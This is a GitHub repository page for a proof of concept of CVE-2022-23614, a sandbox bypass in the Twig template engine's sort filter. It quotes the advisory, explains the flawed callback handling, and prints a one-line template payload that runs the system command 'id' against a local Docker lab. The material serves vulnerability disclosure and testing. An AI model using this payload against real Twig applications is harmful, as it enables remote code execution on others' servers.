CVE-2022-23614 PoC — Code injection in Twig

Source

https://github.com/davwwwx/CVE-2022-23614

Associated Vulnerability

Title:Code injection in Twig (CVE-2022-23614)
Description:Twig is an open source template language for PHP. When in a sandbox mode, the `arrow` parameter of the `sort` filter must be a closure to avoid attackers being able to run arbitrary PHP functions. In affected versions this constraint was not properly enforced and could lead to code injection of arbitrary PHP code. Patched versions now disallow calling non Closure in the `sort` filter as is the case for some other filters. Users are advised to upgrade.

Description

PoC for CVE-2022-23614 (Twig sort filter code execution/sandbox bypass)

Readme

# CVE-2022-23614
PoC for [CVE-2022-23614](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23614), [GHSA-5mv2-rx3q-4w2v](https://github.com/twigphp/Twig/security/advisories/GHSA-5mv2-rx3q-4w2v) (Twig sort filter code execution/sandbox bypass)

As seen in this commit - [https://github.com/twigphp/Twig/commit/..](https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9), twig was passing user supplied function name as a callback parameter to [uasort](https://www.php.net/manual/en/function.uasort.php) ([here](https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9#diff-29e85e483c6ec4a9c2fd144820b6722c86df60d54175b355d85e806253313c1aR940)), thus leading to arbitrary code execution

To build and run the docker container with  a vulnerable twig version
```BASH
$ ./build-docker.sh
```

Open the webpage at localhost:1337 and try rendering the following payload

```Twig
{{ ['id','']|sort('system') }}
```

PoC
![PoC](/images/webpage.png)

Result
![Result](/images/result.png)

File Snapshot

Remarks

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